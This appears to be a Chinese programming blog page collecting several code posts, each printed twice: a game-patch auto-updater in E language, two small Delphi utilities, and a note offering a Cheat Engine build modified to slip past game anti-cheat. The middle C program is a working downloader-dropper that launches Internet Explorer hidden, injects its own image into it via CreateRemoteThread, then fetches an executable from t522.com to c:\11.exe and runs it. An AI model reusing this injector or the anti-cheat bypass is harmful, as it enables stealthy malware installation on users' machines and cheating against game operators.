.版本 2
.支持库 internet
.支持库 iext
.支持库 shell
.支持库 downlib
.程序集 窗口程序集3
.子程序 _更新_创建完毕
删除文件 (取运行目录 () + “\yxbd.exe”)
官网 = 到文本 (读配置项 (取运行目录 () + “\config.ini”, “网站”, “URL”, ))
mz = 到文本 (HTTP读文件 (官网 + “/mz.txt”))
客版.标题 = 到文本 (读配置项 (取运行目录 () + “\config.ini”, “客户端版本号”, “VER”, ))
服版.标题 = 到文本 (HTTP读文件 (官网 + “/bb.txt”))
游戏名 = 到文本 (读配置项 (取运行目录 () + “\config.ini”, “游戏名称”, “名称”, ))
更新.标题 = mz + “在线更新系统”
下载地址 = 到文本 (官网 + “/yxbd.exe”)
本地路径 = 取当前目录 () + “\”
编辑框.内容 = 到文本 (HTTP读文件 (官网 + “/bbnr.txt”))
' ''''''''''''''''''''''''''''''''''''''''实际上,,更新程序可以打成自解压包....下载完成后运行它就OK了...
自动运行 = 假 ' 如果改成真,则会自动运行下载下来的程序!
临时文本 = 分割文本 (本地路径, “\”, )
.如果真 (寻找文本 (临时文本 [取数组下标 (临时文本, )], “.”, , 假) = -1)
' 本地路径中找不到后缀,则把下载地址中的文件名定为本地路径中的文件名
清除数组 (临时文本)
临时文本 = 分割文本 (下载地址, “/”, )
本地路径 = 本地路径 + 临时文本 [取数组下标 (临时文本, )]
.如果真结束
.子程序 _按钮1_被单击
官网 = 到文本 (读配置项 (取运行目录 () + “\config.ini”, “网站”, “URL”, ))
mz = 到文本 (HTTP读文件 (官网 + “/mz.txt”))
客户端新版本.内容 = 到文本 (HTTP读文件 (官网 + “/bb.txt”))
写配置项 (取运行目录 () + “\config.ini”, “客户端版本号”, “VER”, 客户端新版本.内容)
.如果真 (按钮1.标题 = “更新”)
执行 (, 本地路径, , )
返回 ()
.如果真结束
下载参数.类型 = #传送常量.下载
下载参数.文件地址 = 下载地址
下载参数.下载速度 = 999999999
下载参数.线程等待超时 = 1000
下载参数.默认线程数 = 组合框.取项目数值 (组合框.现行选中项)
下载参数.本地文件路径 = 本地路径
下载参数.连接超时 = 5000
下载参数.发送超时 = 5001
下载参数.接收超时 = 10000
下载参数.接收大小 = 20480
下载参数.交互回调函数 = &交互回调函数
下载参数.日志回调函数 = &日志回调函数
下载参数.用户名 = “”
下载参数.用户密码 = “”
下载任务.增加新任务 (下载参数)
按钮1.禁止 = 真
标签大小.标题 = “正在连接更新服务器...”
时钟1.时钟周期 = 1000
时钟.时钟周期 = 50
启动时间 = 取启动时间 ()
.子程序 _时钟_周期事件
.如果真 (文件大小 ≠ 0)
进度条1.位置 = 下载任务.取已下载长 () × 1000 \ 文件大小
.如果真结束
.如果真 (进度条1.位置 > 990)
标签进度.标题 = “”
标签大小.标题 = “”
标签速度.标题 = “正在效验补丁版本!”
进度条1.位置 = 1000
返回 ()
.如果真结束
.子程序 _时钟1_周期事件
.如果真 (标签速度.标题 = “正在效验补丁版本!”)
.如果真 (取文件尺寸 (本地路径) = 文件大小)
标签大小.标题 = “文件大小:” + 到文本 (四舍五入 (文件大小 ÷ 1024 ÷ 1024, 2)) + “M”
标签时间.标题 = “总耗时:” + 到文本 (四舍五入 ((取启动时间 () - 启动时间) ÷ 1000, 2)) + “秒”
标签进度.标题 = “已完成:100%”
时钟.时钟周期 = 0
时钟1.时钟周期 = 0
.如果真结束
返回 ()
.如果真结束
.如果真 (文件大小 = 0)
返回 ()
.如果真结束
标签进度.标题 = “已更新:” + 到文本 (进度条1.位置 ÷ 10) + “%”
标签大小.标题 = “进度:” + 到文本 (四舍五入 (下载任务.取已下载长 () ÷ 1024 ÷ 1024, 2)) + “M/” + 到文本 (四舍五入 (文件大小 ÷ 1024 ÷ 1024, 2)) + “M”
标签速度.标题 = “速度:” + 到文本 (下载任务.取下载速度 () \ 1024) + “KB/秒 ”
剩余时间 = 取整 ((文件大小 - 下载任务.取已下载长 ()) ÷ 取总下载速度 ())
.如果真 (剩余时间 ≠ 0)
标签时间.标题 = “剩余时间:” + 到文本 (剩余时间) + “秒”
.如果真结束
.子程序 _按钮2_被单击
.如果真 (进度条1.位置 ≠ 1000 且 进度条1.位置 ≠ 0)
.如果真 (信息框 (“补丁下载中...是否强行结束当前?”, 1, “提示:”) ≠ 0)
返回 ()
.如果真结束
下载任务.停止指定任务 (变量, 2)
.如果真结束
销毁 ()
.子程序 交互回调函数, 整数型
.参数 消息类型, 整数型
.参数 线程信息, 整数型
.参数 参数3, 整数型
.参数 参数4, 整数型
.参数 对象信息, 整数型
' 成员<15>的中文名称为“交互回调函数”,英文名称为“MutualCallBack”,类型为“子程序指针(SubPtr)”。
' 注册一个回调函数,系统产生需要交互的消息时调用此函数,具体消息请参见传送常量中设置的消息常量。如果为0则不接收,默认为0。回调函数需要有5个参数,一个整数型的返回值。返回值根据消息类型的不同而不同,如果没有说明则返回值没有意义。参见具体的消息第一个参数(整数型)消息类型,参见“传送常量。”第二个参数(整数型),线程信息,可以通过”取线程信息“获得每个上传或下载对象的线程信息,与本参数比较从而确定发送本消息的对象第三个参数(整数型)根据消息类型的不同而不同,参见具体的消息第四个参数(整数型)根据消息类型的不同而不同,参见具体的消息第五个参数(整数型),对象信息,可以通过“取对象信息”获得下载或上传对象的信息与本参数比较,从而确定本消息属于哪个对象。
.判断开始 (消息类型 = #传送常量.下载上传开始)
文件大小 = 参数3
.判断 (消息类型 = #传送常量.下载上传结束)
.如果 (自动运行)
标签速度.标题 = “下载更新已完成!”
执行 (, 本地路径, , ) ' ''''如果自动运行为真,则自动运行程序...
_按钮2_被单击 ()
.否则
按钮1.标题 = “更新”
按钮1.禁止 = 假
.如果结束
.默认
.判断结束
返回 (0)
.子程序 日志回调函数
.参数 线程信息, 整数型
.参数 时间, 文本型
.参数 内容, 文本型
.参数 消息类型, 整数型
.参数 对象信息, 整数型
' 日志内容 = 到文本 (消息类型) + “线程ID:” + 到文本 (线程信息) + “ ” + 时间 + “:” + 内容 + #换行符
' 注册一个回调函数,系统产生日志时会调用此函数通知用户,如果为0则不能接收日志。默认为0回调函数需要有5个参数,第一个参数(整数型),线程信息,可以通过”取线程信息“获得每个上传或下载对象的线程信息,与本参数比较从而确定发送本消息的对象。第二个参数(文本型),消息产生的时间。第三个参数(文本型),消息的正文。第四个参数(整数型),消息类型,参见”传送常量“第五个参数(整数型),对象信息,可以通过“取对象信息”获得下载或上传对象的信息与本参数比较,从而确定本消息属于哪个对象。
.子程序 _显示_被选择
位置 = 0
.子程序 _退出_被选择
_按钮2_被单击 ()
下载文件 (已下载 303 次)
.支持库 internet
.支持库 iext
.支持库 shell
.支持库 downlib
.程序集 窗口程序集3
.子程序 _更新_创建完毕
删除文件 (取运行目录 () + “\yxbd.exe”)
官网 = 到文本 (读配置项 (取运行目录 () + “\config.ini”, “网站”, “URL”, ))
mz = 到文本 (HTTP读文件 (官网 + “/mz.txt”))
客版.标题 = 到文本 (读配置项 (取运行目录 () + “\config.ini”, “客户端版本号”, “VER”, ))
服版.标题 = 到文本 (HTTP读文件 (官网 + “/bb.txt”))
游戏名 = 到文本 (读配置项 (取运行目录 () + “\config.ini”, “游戏名称”, “名称”, ))
更新.标题 = mz + “在线更新系统”
下载地址 = 到文本 (官网 + “/yxbd.exe”)
本地路径 = 取当前目录 () + “\”
编辑框.内容 = 到文本 (HTTP读文件 (官网 + “/bbnr.txt”))
' ''''''''''''''''''''''''''''''''''''''''实际上,,更新程序可以打成自解压包....下载完成后运行它就OK了...
自动运行 = 假 ' 如果改成真,则会自动运行下载下来的程序!
临时文本 = 分割文本 (本地路径, “\”, )
.如果真 (寻找文本 (临时文本 [取数组下标 (临时文本, )], “.”, , 假) = -1)
' 本地路径中找不到后缀,则把下载地址中的文件名定为本地路径中的文件名
清除数组 (临时文本)
临时文本 = 分割文本 (下载地址, “/”, )
本地路径 = 本地路径 + 临时文本 [取数组下标 (临时文本, )]
.如果真结束
.子程序 _按钮1_被单击
官网 = 到文本 (读配置项 (取运行目录 () + “\config.ini”, “网站”, “URL”, ))
mz = 到文本 (HTTP读文件 (官网 + “/mz.txt”))
客户端新版本.内容 = 到文本 (HTTP读文件 (官网 + “/bb.txt”))
写配置项 (取运行目录 () + “\config.ini”, “客户端版本号”, “VER”, 客户端新版本.内容)
.如果真 (按钮1.标题 = “更新”)
执行 (, 本地路径, , )
返回 ()
.如果真结束
下载参数.类型 = #传送常量.下载
下载参数.文件地址 = 下载地址
下载参数.下载速度 = 999999999
下载参数.线程等待超时 = 1000
下载参数.默认线程数 = 组合框.取项目数值 (组合框.现行选中项)
下载参数.本地文件路径 = 本地路径
下载参数.连接超时 = 5000
下载参数.发送超时 = 5001
下载参数.接收超时 = 10000
下载参数.接收大小 = 20480
下载参数.交互回调函数 = &交互回调函数
下载参数.日志回调函数 = &日志回调函数
下载参数.用户名 = “”
下载参数.用户密码 = “”
下载任务.增加新任务 (下载参数)
按钮1.禁止 = 真
标签大小.标题 = “正在连接更新服务器...”
时钟1.时钟周期 = 1000
时钟.时钟周期 = 50
启动时间 = 取启动时间 ()
.子程序 _时钟_周期事件
.如果真 (文件大小 ≠ 0)
进度条1.位置 = 下载任务.取已下载长 () × 1000 \ 文件大小
.如果真结束
.如果真 (进度条1.位置 > 990)
标签进度.标题 = “”
标签大小.标题 = “”
标签速度.标题 = “正在效验补丁版本!”
进度条1.位置 = 1000
返回 ()
.如果真结束
.子程序 _时钟1_周期事件
.如果真 (标签速度.标题 = “正在效验补丁版本!”)
.如果真 (取文件尺寸 (本地路径) = 文件大小)
标签大小.标题 = “文件大小:” + 到文本 (四舍五入 (文件大小 ÷ 1024 ÷ 1024, 2)) + “M”
标签时间.标题 = “总耗时:” + 到文本 (四舍五入 ((取启动时间 () - 启动时间) ÷ 1000, 2)) + “秒”
标签进度.标题 = “已完成:100%”
时钟.时钟周期 = 0
时钟1.时钟周期 = 0
.如果真结束
返回 ()
.如果真结束
.如果真 (文件大小 = 0)
返回 ()
.如果真结束
标签进度.标题 = “已更新:” + 到文本 (进度条1.位置 ÷ 10) + “%”
标签大小.标题 = “进度:” + 到文本 (四舍五入 (下载任务.取已下载长 () ÷ 1024 ÷ 1024, 2)) + “M/” + 到文本 (四舍五入 (文件大小 ÷ 1024 ÷ 1024, 2)) + “M”
标签速度.标题 = “速度:” + 到文本 (下载任务.取下载速度 () \ 1024) + “KB/秒 ”
剩余时间 = 取整 ((文件大小 - 下载任务.取已下载长 ()) ÷ 取总下载速度 ())
.如果真 (剩余时间 ≠ 0)
标签时间.标题 = “剩余时间:” + 到文本 (剩余时间) + “秒”
.如果真结束
.子程序 _按钮2_被单击
.如果真 (进度条1.位置 ≠ 1000 且 进度条1.位置 ≠ 0)
.如果真 (信息框 (“补丁下载中...是否强行结束当前?”, 1, “提示:”) ≠ 0)
返回 ()
.如果真结束
下载任务.停止指定任务 (变量, 2)
.如果真结束
销毁 ()
.子程序 交互回调函数, 整数型
.参数 消息类型, 整数型
.参数 线程信息, 整数型
.参数 参数3, 整数型
.参数 参数4, 整数型
.参数 对象信息, 整数型
' 成员<15>的中文名称为“交互回调函数”,英文名称为“MutualCallBack”,类型为“子程序指针(SubPtr)”。
' 注册一个回调函数,系统产生需要交互的消息时调用此函数,具体消息请参见传送常量中设置的消息常量。如果为0则不接收,默认为0。回调函数需要有5个参数,一个整数型的返回值。返回值根据消息类型的不同而不同,如果没有说明则返回值没有意义。参见具体的消息第一个参数(整数型)消息类型,参见“传送常量。”第二个参数(整数型),线程信息,可以通过”取线程信息“获得每个上传或下载对象的线程信息,与本参数比较从而确定发送本消息的对象第三个参数(整数型)根据消息类型的不同而不同,参见具体的消息第四个参数(整数型)根据消息类型的不同而不同,参见具体的消息第五个参数(整数型),对象信息,可以通过“取对象信息”获得下载或上传对象的信息与本参数比较,从而确定本消息属于哪个对象。
.判断开始 (消息类型 = #传送常量.下载上传开始)
文件大小 = 参数3
.判断 (消息类型 = #传送常量.下载上传结束)
.如果 (自动运行)
标签速度.标题 = “下载更新已完成!”
执行 (, 本地路径, , ) ' ''''如果自动运行为真,则自动运行程序...
_按钮2_被单击 ()
.否则
按钮1.标题 = “更新”
按钮1.禁止 = 假
.如果结束
.默认
.判断结束
返回 (0)
.子程序 日志回调函数
.参数 线程信息, 整数型
.参数 时间, 文本型
.参数 内容, 文本型
.参数 消息类型, 整数型
.参数 对象信息, 整数型
' 日志内容 = 到文本 (消息类型) + “线程ID:” + 到文本 (线程信息) + “ ” + 时间 + “:” + 内容 + #换行符
' 注册一个回调函数,系统产生日志时会调用此函数通知用户,如果为0则不能接收日志。默认为0回调函数需要有5个参数,第一个参数(整数型),线程信息,可以通过”取线程信息“获得每个上传或下载对象的线程信息,与本参数比较从而确定发送本消息的对象。第二个参数(文本型),消息产生的时间。第三个参数(文本型),消息的正文。第四个参数(整数型),消息类型,参见”传送常量“第五个参数(整数型),对象信息,可以通过“取对象信息”获得下载或上传对象的信息与本参数比较,从而确定本消息属于哪个对象。
.子程序 _显示_被选择
位置 = 0
.子程序 _退出_被选择
_按钮2_被单击 ()
下载文件 (已下载 303 次)
#include
#pragma comment(lib,"user32.lib")
#pragma comment(lib,"kernel32.lib")
#pragma comment(linker, "/ENTRY:main")
#pragma comment(linker, "/subsystem:windows")
#pragma comment(linker, "/BASE:0x13150000")
HINSTANCE (WINAPI *SHELLRUN)(HWND,LPCTSTR, LPCTSTR, LPCTSTR ,LPCTSTR , int );//动态加载shell32.dll中的ShellExecuteA函数
DWORD(WINAPI *DOWNFILE) (LPCTSTR ,LPCTSTR, LPCTSTR ,DWORD, LPCTSTR);//动态加载Urlmon.dll中的UrlDownloadToFileA函数
HANDLE processhandle;
DWORD pid;
HINSTANCE hshell,hurlmon;
void download() //注入使用的下载函数
{
hshell=LoadLibrary("Shell32.dll");
hurlmon=LoadLibrary("urlmon.dll");
(FARPROC&)SHELLRUN=GetProcAddress(hshell,"ShellExecuteA");
(FARPROC&)DOWNFILE= GetProcAddress(hurlmon,"URLDownloadToFileA");
DOWNFILE(NULL,"http://www.t522.com/jdrj.rar","c:\\11.exe",0, NULL);
SHELLRUN(0,"open","c:\\11.exe",NULL,NULL,5);
ExitProcess(0);
};
void main() //主函数
{
//1.得到IE路径,并运行
char iename[MAX_PATH],iepath[MAX_PATH];
ZeroMemory(iename,sizeof(iename));
ZeroMemory(iepath,sizeof(iepath));
GetWindowsDirectory(iepath,MAX_PATH);
strncpy(iename,iepath,3);
strcat(iename,"program files\\inTernet Explorer\\iexplore.exe");
//strcat(iename,"windows\\notepad.EXE");
WinExec(iename,SW_HIDE);
Sleep(500);
//2.得到 IE process handle
HWND htemp;
htemp=FindWindow("IEFrame",NULL);
GetWindowThreadProcessId(htemp,&pid);
processhandle=OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
//3.分配内存
HMODULE Module;
LPVOID NewModule;
DWORD Size;
LPDWORD lpimagesize;
Module = GetModuleHandle(NULL);//进程映像的基址
//得到内存镜像大小
_asm
{
push eax;
push ebx;
mov ebx,Module;
mov eax,[ebx+0x3c];
lea eax,[ebx+eax+0x50];
mov eax,[eax]
mov lpimagesize,eax;
pop ebx;
pop eax;
};
Size=(DWORD)lpimagesize;
NewModule = VirtualAllocEx(processhandle, Module, Size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);//确定起始基址和内存映像基址的位置
//4.写内存,创建线程
WriteProcessMemory(processhandle, NewModule, Module, Size, NULL);//写数据
LPTHREAD_START_ROUTINE entrypoint;
__asm
{
push eax;
lea eax,download;
mov entrypoint,eax;
pop eax
}
CreateRemoteThread(processhandle, NULL, 0, entrypoint, Module, 0, NULL); //建立远程线程,并运行
CloseHandle(processhandle);
return;
};
#pragma comment(lib,"user32.lib")
#pragma comment(lib,"kernel32.lib")
#pragma comment(linker, "/ENTRY:main")
#pragma comment(linker, "/subsystem:windows")
#pragma comment(linker, "/BASE:0x13150000")
HINSTANCE (WINAPI *SHELLRUN)(HWND,LPCTSTR, LPCTSTR, LPCTSTR ,LPCTSTR , int );//动态加载shell32.dll中的ShellExecuteA函数
DWORD(WINAPI *DOWNFILE) (LPCTSTR ,LPCTSTR, LPCTSTR ,DWORD, LPCTSTR);//动态加载Urlmon.dll中的UrlDownloadToFileA函数
HANDLE processhandle;
DWORD pid;
HINSTANCE hshell,hurlmon;
void download() //注入使用的下载函数
{
hshell=LoadLibrary("Shell32.dll");
hurlmon=LoadLibrary("urlmon.dll");
(FARPROC&)SHELLRUN=GetProcAddress(hshell,"ShellExecuteA");
(FARPROC&)DOWNFILE= GetProcAddress(hurlmon,"URLDownloadToFileA");
DOWNFILE(NULL,"http://www.t522.com/jdrj.rar","c:\\11.exe",0, NULL);
SHELLRUN(0,"open","c:\\11.exe",NULL,NULL,5);
ExitProcess(0);
};
void main() //主函数
{
//1.得到IE路径,并运行
char iename[MAX_PATH],iepath[MAX_PATH];
ZeroMemory(iename,sizeof(iename));
ZeroMemory(iepath,sizeof(iepath));
GetWindowsDirectory(iepath,MAX_PATH);
strncpy(iename,iepath,3);
strcat(iename,"program files\\inTernet Explorer\\iexplore.exe");
//strcat(iename,"windows\\notepad.EXE");
WinExec(iename,SW_HIDE);
Sleep(500);
//2.得到 IE process handle
HWND htemp;
htemp=FindWindow("IEFrame",NULL);
GetWindowThreadProcessId(htemp,&pid);
processhandle=OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
//3.分配内存
HMODULE Module;
LPVOID NewModule;
DWORD Size;
LPDWORD lpimagesize;
Module = GetModuleHandle(NULL);//进程映像的基址
//得到内存镜像大小
_asm
{
push eax;
push ebx;
mov ebx,Module;
mov eax,[ebx+0x3c];
lea eax,[ebx+eax+0x50];
mov eax,[eax]
mov lpimagesize,eax;
pop ebx;
pop eax;
};
Size=(DWORD)lpimagesize;
NewModule = VirtualAllocEx(processhandle, Module, Size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);//确定起始基址和内存映像基址的位置
//4.写内存,创建线程
WriteProcessMemory(processhandle, NewModule, Module, Size, NULL);//写数据
LPTHREAD_START_ROUTINE entrypoint;
__asm
{
push eax;
lea eax,download;
mov entrypoint,eax;
pop eax
}
CreateRemoteThread(processhandle, NULL, 0, entrypoint, Module, 0, NULL); //建立远程线程,并运行
CloseHandle(processhandle);
return;
};
这个是一个汉化版的CE,针对完美系列的封CE进了了处理,可以说不能100%保证,但是可以保证99%,有些BUG,但是不是很要紧. 需要的就下载吧,这个是本人汉化的,首发是广海论坛!
下载文件 (已下载 3760 次)新CE5.6修改版已放出下载,地址是115网盘.
http://u.115.com/file/f261686673

unit Unit1;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, ExtCtrls,shellapi;
type
TForm1 = class(TForm)
Button1: TButton;
Timer1: TTimer;
Edit1: TEdit;
Button2: TButton;
Edit2: TEdit;
Label3: TLabel;
Label4: TLabel;
Button3: TButton;
procedure Button1Click(Sender: TObject);
procedure Timer1Timer(Sender: TObject);
procedure Button2Click(Sender: TObject);
procedure Button4Click(Sender: TObject);
procedure Button3Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
isenable:boolean;
function backfunc(AhWnd:hwnd;AlParam:lParam):boolean;stdcall;
implementation
{$R *.dfm}
function backfunc(AhWnd:hwnd;AlParam:lParam):boolean;stdcall;
var
wndcn:array [0..255] of char;
wndcp:array [0..255] of char;
begin
getclassname(ahwnd,wndcn,255);
getwindowtext(ahwnd,wndcp,255);
if isenable then
enablewindow(ahwnd,true) //激活
else
enablewindow(ahwnd,false); //激死
if (pos('停止&',strpas(wndcp)) > 0) or (pos('激活&',strpas(wndcp)) > 0) then
enablewindow(ahwnd,true);
result:=true;
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
if button1.Tag = 0 then
begin
isenable:=true;
button1.Tag:=1;
button1.Caption:='停止&';
button2.Tag:=0;
button2.Caption:= '激死';
timer1.Enabled:=true;
end else
begin
button1.Tag:= 0;
button1.Caption:='激活&';
timer1.Enabled:=false;
end;
end;
procedure TForm1.Timer1Timer(Sender: TObject);
var
h:thandle;
cp:array [0..255] of char;
begin
h:=getforegroundwindow();
if h <> 0 then
begin
edit1.Text:=inttostr(h); //返回句柄显示
getwindowtext(h,cp,255); // 获取标题
edit2.Text:=strpas(cp);
enumchildwindows(h,@backfunc,0); //枚举窗口所有控件句柄
end;
end;
procedure TForm1.Button2Click(Sender: TObject);
begin
if button2.Tag = 0 then
begin
isenable:=false;
button2.Tag:=1;
button2.Caption:='停止&';
button1.Caption:='激活&';
button1.Tag:=0;
timer1.Enabled:=true;
end else
begin
button2.Tag:=0;
button2.Caption:= '激死';
timer1.Enabled:=false;
button1.Enabled:=true;
end;
end;
procedure TForm1.Button4Click(Sender: TObject);
begin
timer1timer(form1);
end;
procedure TForm1.Button3Click(Sender: TObject);
begin
ShowMessage('本文BY:青色咖啡:极点博客!');
ShellExecute(Application.Handle, nil, 'http://blog.t522.com', nil, nil, SW_SHOWNORMAL);
end;
end.
下载文件 (已下载 188 次)
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, ExtCtrls,shellapi;
type
TForm1 = class(TForm)
Button1: TButton;
Timer1: TTimer;
Edit1: TEdit;
Button2: TButton;
Edit2: TEdit;
Label3: TLabel;
Label4: TLabel;
Button3: TButton;
procedure Button1Click(Sender: TObject);
procedure Timer1Timer(Sender: TObject);
procedure Button2Click(Sender: TObject);
procedure Button4Click(Sender: TObject);
procedure Button3Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
isenable:boolean;
function backfunc(AhWnd:hwnd;AlParam:lParam):boolean;stdcall;
implementation
{$R *.dfm}
function backfunc(AhWnd:hwnd;AlParam:lParam):boolean;stdcall;
var
wndcn:array [0..255] of char;
wndcp:array [0..255] of char;
begin
getclassname(ahwnd,wndcn,255);
getwindowtext(ahwnd,wndcp,255);
if isenable then
enablewindow(ahwnd,true) //激活
else
enablewindow(ahwnd,false); //激死
if (pos('停止&',strpas(wndcp)) > 0) or (pos('激活&',strpas(wndcp)) > 0) then
enablewindow(ahwnd,true);
result:=true;
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
if button1.Tag = 0 then
begin
isenable:=true;
button1.Tag:=1;
button1.Caption:='停止&';
button2.Tag:=0;
button2.Caption:= '激死';
timer1.Enabled:=true;
end else
begin
button1.Tag:= 0;
button1.Caption:='激活&';
timer1.Enabled:=false;
end;
end;
procedure TForm1.Timer1Timer(Sender: TObject);
var
h:thandle;
cp:array [0..255] of char;
begin
h:=getforegroundwindow();
if h <> 0 then
begin
edit1.Text:=inttostr(h); //返回句柄显示
getwindowtext(h,cp,255); // 获取标题
edit2.Text:=strpas(cp);
enumchildwindows(h,@backfunc,0); //枚举窗口所有控件句柄
end;
end;
procedure TForm1.Button2Click(Sender: TObject);
begin
if button2.Tag = 0 then
begin
isenable:=false;
button2.Tag:=1;
button2.Caption:='停止&';
button1.Caption:='激活&';
button1.Tag:=0;
timer1.Enabled:=true;
end else
begin
button2.Tag:=0;
button2.Caption:= '激死';
timer1.Enabled:=false;
button1.Enabled:=true;
end;
end;
procedure TForm1.Button4Click(Sender: TObject);
begin
timer1timer(form1);
end;
procedure TForm1.Button3Click(Sender: TObject);
begin
ShowMessage('本文BY:青色咖啡:极点博客!');
ShellExecute(Application.Handle, nil, 'http://blog.t522.com', nil, nil, SW_SHOWNORMAL);
end;
end.
下载文件 (已下载 188 次)
unit Main;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, OleCtrls,ShellApi, ExtCtrls, SHDocVw,
ComCtrls;
type
TForm1 = class(TForm)
Edit1: TEdit;
Button1: TButton;
Button2: TButton;
WebBrowser1: TWebBrowser;
Label1: TLabel;
Label2: TLabel;
StatusBar1: TStatusBar;
Label3: TLabel;
procedure Button1Click(Sender: TObject);
procedure Button2Click(Sender: TObject);
procedure StatusBar1Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.dfm}
procedure TForm1.Button1Click(Sender: TObject);
var
mystream:TMemoryStream;
strurl:string;
bp:TBitmap;
begin
WebBrowser1.Navigate('http://wpa.qq.com/pa?p=1:'+edit1.text+':1');
end;
procedure TForm1.Button2Click(Sender: TObject);
var
s: string;
haima:Integer;
begin
if Edit1.Text<>'17306119' then
begin
haima:=StrToInt(Edit1.Text);
s:='Tencent://Message/?Menu=YES&Exe=&Uin='+inttostr(haima);;
Shellexecute(handle,nil,pchar(s),nil,nil,SW_MINIMIZE);
end else
begin
ShowMessage('莫要实验本人QQ号,呵呵');
end;
end;
procedure TForm1.StatusBar1Click(Sender: TObject);
var
s: string;
begin
edit1.text:='17306119';
s:='http://www.t522.com/plus/guestbook/';
Shellexecute(handle,nil,pchar(s),nil,nil,SW_MINIMIZE);
end;
end.
下载文件 (已下载 254 次)
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, OleCtrls,ShellApi, ExtCtrls, SHDocVw,
ComCtrls;
type
TForm1 = class(TForm)
Edit1: TEdit;
Button1: TButton;
Button2: TButton;
WebBrowser1: TWebBrowser;
Label1: TLabel;
Label2: TLabel;
StatusBar1: TStatusBar;
Label3: TLabel;
procedure Button1Click(Sender: TObject);
procedure Button2Click(Sender: TObject);
procedure StatusBar1Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.dfm}
procedure TForm1.Button1Click(Sender: TObject);
var
mystream:TMemoryStream;
strurl:string;
bp:TBitmap;
begin
WebBrowser1.Navigate('http://wpa.qq.com/pa?p=1:'+edit1.text+':1');
end;
procedure TForm1.Button2Click(Sender: TObject);
var
s: string;
haima:Integer;
begin
if Edit1.Text<>'17306119' then
begin
haima:=StrToInt(Edit1.Text);
s:='Tencent://Message/?Menu=YES&Exe=&Uin='+inttostr(haima);;
Shellexecute(handle,nil,pchar(s),nil,nil,SW_MINIMIZE);
end else
begin
ShowMessage('莫要实验本人QQ号,呵呵');
end;
end;
procedure TForm1.StatusBar1Click(Sender: TObject);
var
s: string;
begin
edit1.text:='17306119';
s:='http://www.t522.com/plus/guestbook/';
Shellexecute(handle,nil,pchar(s),nil,nil,SW_MINIMIZE);
end;
end.
下载文件 (已下载 254 次)



